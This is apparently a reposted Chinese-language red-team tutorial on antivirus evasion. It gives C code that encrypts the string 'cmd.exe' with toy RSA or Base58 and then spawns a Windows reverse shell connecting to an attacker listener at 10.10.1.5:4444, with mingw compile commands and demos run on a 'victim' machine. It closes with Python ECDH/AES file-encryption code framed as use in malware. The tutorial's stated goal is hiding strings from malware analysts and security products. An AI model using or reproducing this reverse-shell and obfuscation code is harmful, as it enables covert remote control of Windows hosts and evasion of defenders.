开始学习
然后,在受害者的 Windows 机器上运行hack.exe :
正如预期的那样,它正在加密并完美解密;我们只是为了演示目的而打印它。
现在,我们尝试应用相同的逻辑来加密字符串。例如,让我们加密和解密cmd.exe 字符串:
// Function to check if a number is prime
int is_prime(int n) {
if (n <= 1) {
return 0;
}
for (int i = 2; i <= sqrt(n); i++) {
if (n % i == 0) {
return 0;
}
}
return 1;
}
// Function to find the greatest common divisor (GCD) of two numbers
int gcd(int a, int b) {
while (b != 0) {
int temp = b;
b = a % b;
a = temp;
}
return a;
}
// Function to find a number e such that 1 < e < phi and gcd(e, phi) = 1
int find_public_exponent(int phi) {
int e = 2;
while (e < phi) {
if (gcd(e, phi) == 1) {
return e;
}
e++;
}
return -1; // Error: Unable to find public exponent
}
// Function to find the modular multiplicative inverse of a number
int mod_inverse(int a, int m) {
for (int x = 1; x < m; x++) {
if ((a * x) % m == 1) {
return x;
}
}
return -1; // Error: Modular inverse does not exist
}
// Function to perform modular exponentiation
int mod_pow(int base, int exp, int mod) {
int result = 1;
while (exp > 0) {
if (exp % 2 == 1) {
result = (result * base) % mod;
}
base = (base * base) % mod;
exp /= 2;
}
return result;
}
// Function to encrypt a message
void encrypt(const unsigned char *message, int message_len, int e, int n, int *ciphertext) {
for (int i = 0; i < message_len; i++) {
ciphertext[i] = mod_pow(message[i], e, n);
}
}
// Function to decrypt a ciphertext
void decrypt(const int *ciphertext, int message_len, int d, int n, unsigned char *decrypted_message) {
for (int i = 0; i < message_len; i++) {
decrypted_message[i] = (unsigned char)mod_pow(ciphertext[i], d, n);
}
}
int main() {
// Step 1: Choose two large prime numbers
int p = 61;
int q = 53;
// Step 2: Compute n (modulus) and phi (Euler's totient function)
int n = p * q;
int phi = (p - 1) * (q - 1);
// Step 3: Choose a public exponent e
int e = find_public_exponent(phi);
if (e == -1) {
printf("Error: Unable to find public exponent.n");
return 1;
}
// Step 4: Compute the private exponent d
int d = mod_inverse(e, phi);
if (d == -1) {
printf("Error: Unable to compute private exponent.n");
return 1;
}
// Display public and private keys
printf("Public Key (n, e): (%d, %d)n", n, e);
printf("Private Key (n, d): (%d, %d)n", n, d);
// Message to be encrypted
const unsigned char original_message[] = "cmd.exe";
int message_len = sizeof((const char *)original_message);
// Array to store ciphertext
int ciphertext[message_len];
// Encrypt the message
encrypt(original_message, message_len, e, n, ciphertext);
// Display encrypted message
printf("encrypted Message: ");
for (int i = 0; i < message_len; i++) {
printf("%d ", ciphertext[i]);
}
printf("n");
// Array to store decrypted message
unsigned char decrypted_message[message_len];
// Decrypt the message
decrypt(ciphertext, message_len, d, n, decrypted_message);
// Display decrypted message
printf("decrypted Message: %sn", decrypted_message);
return 0;
}
这里的一切都是一样的;唯一的区别是加密和解密函数:
// Function to encrypt a message
void encrypt(const unsigned char *message, int message_len, int e, int n, int *ciphertext) {
for (int i = 0; i < message_len; i++) {
ciphertext[i] = mod_pow(message[i], e, n);
}
}
// Function to decrypt a ciphertext
void decrypt(const int *ciphertext, int message_len, int d, int n, unsigned char *decrypted_message) {
for (int i = 0; i < message_len; i++) {
decrypted_message[i] = (unsigned char)mod_pow(ciphertext[i], d, n);
}
}
编译它:
$ x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
然后,在受害者的Windows上运行hack2.exe机器:
我们可以看到,它也按预期工作,因此我们可以使用它来向恶意软件分析师和安全解决方案隐藏字符串。
让我们获取一个加密字符串24,597,2872,1137,3071,55,3071,0 (cmd.exe),对其进行解密,然后启动反向 shell
int message_len = 8;
// encrypted message (cmd.exe string)
int ciphertext[] = {24,597,2872,1137,3071,55,3071,0};
unsigned char decrypted_cmd[message_len]; //decrypted string
// Decrypt the message
decrypt(ciphertext, message_len, d, n, decrypted_cmd);
//...
CreateProcess(NULL, decrypted_cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
编译它:
$ x86_64-w64-mingw32-gcc -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32
现在,在 Windows 10 x64虚拟机上运行它:
.hack3.exe
以下是在受害者的 Windows 机器上运行hack3.exe命令的结果:
一切运行正常;反向 shell 已按预期产生!
实施自定义编码技术
由于哈希和Caesar、Base64和MurmurHash等加密算法是安全领域众所周知的研究人员,他们有时可以可以作为病毒恶意活动的指标,并引起信息安全解决方案不必要的注意。但是自定义加密呢或编码方法?
实例
让我们看看另一个示例。在这里,我们将通过编码cmd.exe字符串来创建 Windows 反向 shell 。对于编码,我将使用 Base58算法:
const char * const ALPHABET =
"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
const char ALPHABET_MAP[128] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, -1, -1, -1, -1, -1, -1,
-1, 9, 10, 11, 12, 13, 14, 15, 16, -1, 17, 18, 19, 20, 21, -1,
22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, -1, -1, -1, -1, -1,
-1, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, -1, 44, 45, 46,
47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, -1, -1, -1, -1, -1
};
int base58encode(const unsigned char* input, int len, unsigned char result[]) {
unsigned char digits[len * 137 / 100];
int digitslen = 1;
for (int i = 0; i < len; i++) {
unsigned int carry = (unsigned int) input[i];
for (int j = 0; j < digitslen; j++) {
carry += (unsigned int) (digits[j]) << 8;
digits[j] = (unsigned char) (carry % 58);
carry /= 58;
}
while (carry > 0) {
digits[digitslen++] = (unsigned char) (carry % 58);
carry /= 58;
}
}
int resultlen = 0;
// leading zero bytes
for (; resultlen < len && input[resultlen] == 0;)
result[resultlen++] = '1';
// reverse
for (int i = 0; i < digitslen; i++)
result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];
result[digitslen + resultlen] = 0;
return digitslen + resultlen;
}
int base58decode(
unsigned char const* input, int len, unsigned char *result) {
result[0] = 0;
int resultlen = 1;
for (int i = 0; i < len; i++) {
unsigned int carry = (unsigned int) ALPHABET_MAP[input[i]];
for (int j = 0; j < resultlen; j++) {
carry += (unsigned int) (result[j]) * 58;
result[j] = (unsigned char) (carry & 0xff);
carry >>= 8;
}
while (carry > 0) {
result[resultlen++] = (unsigned int) (carry & 0xff);
carry >>= 8;
}
}
for (int i = 0; i < len && input[i] == '1'; i++)
result[resultlen++] = 0;
for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1);
i >= z; i--) {
int k = result[i];
result[i] = result[resultlen - i - 1];
result[resultlen - i - 1] = k;
}
return resultlen;
}
int main() {
unsigned char encoded[] = "4mY3dzArmJ";
unsigned char decoded[16];
int dlen = strlen(encoded);
base58decode(encoded, dlen, decoded);
printf("%sn", decoded); // "cmd.exe"
WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;
// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;
// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);
// create socket
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr.s_addr = inet_addr(ip);
// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;
// start the decoded command with redirected streams
CreateProcess(NULL, decoded, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);
return 0;
}
逻辑很简单:这个 C 程序旨在通过 Base58 算法解码cmd.exe字符串并生成 Windows反向 shell。
可以看出,base58decode()函数由解码逻辑组成:
int base58decode(
unsigned char const* input, int len, unsigned char *result) {
result[0] = 0;
int resultlen = 1;
for (int i = 0; i < len; i++) {
unsigned int carry = (unsigned int) ALPHABET_MAP[input[i]];
for (int j = 0; j < resultlen; j++) {
carry += (unsigned int) (result[j]) * 58;
result[j] = (unsigned char) (carry & 0xff);
carry >>= 8;
}
while (carry > 0) {
result[resultlen++] = (unsigned int) (carry & 0xff);
carry >>= 8;
}
}
for (int i = 0; i < len && input[i] == '1'; i++)
result[resultlen++] = 0;
for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1); i >= z; i--) {
int k = result[i];
result[i] = result[resultlen - i - 1];
result[resultlen - i - 1] = k;
}
return resultlen;
}
同时,base58encode()函数包括编码逻辑:
int base58encode(const unsigned char* input, int len, unsigned char result[]) {
unsigned char digits[len * 137 / 100];
int digitslen = 1;
for (int i = 0; i < len; i++) {
unsigned int carry = (unsigned int) input[i];
for (int j = 0; j < digitslen; j++) {
carry += (unsigned int) (digits[j]) << 8;
digits[j] = (unsigned char) (carry % 58);
carry /= 58;
}
while (carry > 0) {
digits[digitslen++] = (unsigned char) (carry % 58);
carry /= 58;
}
}
int resultlen = 0;
// leading zero bytes
for (; resultlen < len && input[resultlen] == 0;)
result[resultlen++] = '1';
// reverse
for (int i = 0; i < digitslen; i++)
result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];
result[digitslen + resultlen] = 0;
return digitslen + resultlen;
}
编译它:
$ x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32
在 Windows 10 x64虚拟机上运行它:
.hack.exe
当然你可以修改脚本通过添加文本和函数名称的混淆。您还可以用更复杂的算法替换 Base58。
椭圆曲线加密 (ECC) 和恶意软件
ECC 是什么?它是如何工作的?这项技术为比特币和以太坊提供支持、加密您的 iMessage,并且是您访问的几乎所有重要网站的一部分。
在公钥密码学领域,ECC 是一种系统。另一方面,这类系统基于困难的“单向”数学问题,这些问题在一个方向上很容易计算,但在另一个方向上却无法解决。这些函数有时被称为“陷门”函数,因为进入很容易,但退出却很难。
1977 年,RSA 算法和Diffie-Hellman 密钥交换算法相继问世。革命性的这些新算法的性质在于它们是第一个基于数论的实用加密方案。此外,它们是第一个允许双方在无需共享秘密的情况下进行安全通信的方案。
例如,当我们讨论素数时,您可能已经注意到,RSA 系统使用一类单向因式分解问题。每个数字都有唯一的素数分解。例如,8 可以表示为 2 的 3 次方,30 是 2*3*5。ECC 不依赖于因式分解,而是求解以下形式的方程(椭圆曲线):
y2 = x3 + ax + b
上述方程称为椭圆曲线的魏尔斯特拉斯公式,其形式如下这:
密码学在攻击领域已经无处不在。安全,甚至比防御性安全更为重要
实例
让我们看看另一个例如。ECC 是如何用于恶意软件开发的?
实施 ECC 无需任何外部库,特别是在Windows API ( WinAPI ) 编程环境中,都是一项非常复杂的任务。ECC 涉及高级数学运算和加密原语,由于其复杂性和安全性考虑,通常由专门的库来处理。
完整的实现将涵盖多个功能,并需要仔细处理加密操作、密钥生成和管理。
我将介绍一个简化的示例,演示如何使用tinyec库在 Python 3 中使用 ECC。此示例包括函数用于通过椭圆曲线 Diffie-Hellman ( ECDH )生成密钥对、文件加密和解密。请注意,此示例并未处理错误检查和密钥管理的所有方面,而这在生产环境中是必需的。
重要提示
ECDH 是密钥协商协议这使得两个参与者能够使用椭圆曲线公钥-私钥对在非安全通道上建立共享秘密。通过利用此共享秘密,您可以直接或间接生成密钥。然后可以使用密钥或派生密钥使用对称密钥密码加密后续通信。使用椭圆曲线加密不同于Diffie-Hellman 协议。
from tinyec import registry
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
def generate_keypair(curve):
private_key = int.from_bytes(get_random_bytes(32), byteorder="big") % curve.field.n
public_key = private_key * curve.g
return private_key, public_key
def derive_shared_secret(private_key, public_key):
shared_secret = private_key * public_key
return int.from_bytes(shared_secret.x.to_bytes(32, byteorder="big"), byteorder="big")
def encrypt_file(filename, shared_secret):
key = shared_secret.to_bytes(32, byteorder="big")
cipher = AES.new(key, AES.MODE_EAX)
with open(filename, "rb") as file:
plaintext = file.read()
ciphertext, tag = cipher.encrypt_and_digest(plaintext)
with open(filename + ".enc", "wb") as file:
file.write(cipher.nonce)
file.write(tag)
file.write(ciphertext)
def decrypt_file(filename, shared_secret):
key = shared_secret.to_bytes(32, byteorder="big")
with open(filename, "rb") as file:
nonce = file.read(16)
tag = file.read(16)
ciphertext = file.read()
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
with open(filename.replace(".enc", "_decrypted.txt"), "wb") as file:
file.write(plaintext)
if __name__ == "__main__":
# Using secp256r1 curve (P-256)
curve = registry.get_curve("secp256r1")
# Alice generates key pair
alice_private_key, alice_public_key = generate_keypair(curve)
# Bob generates key pair
bob_private_key, bob_public_key = generate_keypair(curve)
# Alice derives shared secret from Bob's public key
alice_shared_secret = derive_shared_secret(alice_private_key, bob_public_key)
# Bob derives shared secret from Alice's public key
bob_shared_secret = derive_shared_secret(bob_private_key, alice_public_key)
# Encrypt and decrypt a sample file using the shared secrets
sample_file = "sample.txt"
with open(sample_file, "w") as file:
file.write("Malware Development for Ethical Hackers =^..^=")
encrypt_file(sample_file, alice_shared_secret)
decrypt_file(sample_file + ".enc", bob_shared_secret)
首先,导入必要的库:
from tinyec import registry
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
接下来生成密钥对:
- 使用 secp256r1 曲线(P-256),这是一条广泛使用的椭圆曲线。
- Alice 生成她的密钥对(私钥和相应的公钥)。
- Bob 生成他的密钥对(私钥和相应的公钥):
curve = registry.get_curve("secp256r1")
alice_private_key, alice_public_key = generate_keypair(curve)
bob_private_key, bob_public_key = generate_keypair(curve)
接下来,Alice 使用她的私钥和 Bob 的公钥派生出一个共享秘密,而 Bob 使用他的私钥和 Alice 的公钥派生出一个共享秘密:
alice_shared_secret = derive_shared_secret(alice_private_key, bob_public_key)
bob_shared_secret = derive_shared_secret(bob_private_key, alice_public_key)
我们的主要逻辑涉及使用 AES加密文件:
sample_file = "sample.txt"
with open(sample_file, "w") as file:
file.write("Malware Development for Ethical Hackers =^..^=")
encrypt_file(sample_file, alice_shared_secret)
现在,使用 AES解密文件:
decrypt_file(sample_file + ".enc", bob_shared_secret)
解密的文件sample_decrypted.txt应该包含原始内容。
原文始发于微信公众号(教父爱分享):【免杀干货】高级红队技巧—实战解析自定义混淆加密、高级数学构造和数论(完结)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论